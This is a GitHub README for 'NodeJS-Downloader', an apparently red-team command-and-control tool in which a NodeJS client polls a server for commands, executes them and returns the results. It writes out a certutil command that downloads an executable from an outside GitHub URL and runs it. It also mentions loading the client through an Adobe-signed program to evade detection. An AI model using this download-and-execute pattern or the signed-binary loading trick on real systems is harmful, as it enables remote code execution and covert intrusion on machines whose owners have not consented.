NodeJS-Downloader icon indicating copy to clipboard operation
NodeJS-Downloader copied to clipboard

An example of a downloader written in NodeJS.

NodeJS-Downloader

An example of a downloader written in NodeJS.

Author:3gstudent

Usage:

  1. Download the NodeJS:

https://nodejs.org/en/download/

You just need node.exe in the file.

  1. Set the command sent to the client:

Edit the Server.js

eg.

var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe';

Note:

More ways to download & execution:

《渗透技巧——从github下载文件的多种方法》

  1. Start the server
node.exe Server.js

When you use a browser to access it, it will return 404.

  1. Start the client
node.exe Client.js

It will connect to the server and get the command, then execute the command and send the result again.

Client.js can be loaded by a program with a digital signature of Adobe Systems Incorporated.

Alt text

Reference:

https://bbs.pediy.com/thread-249573.htm

More details:

《渗透测试中的Node.js——Downloader的实现》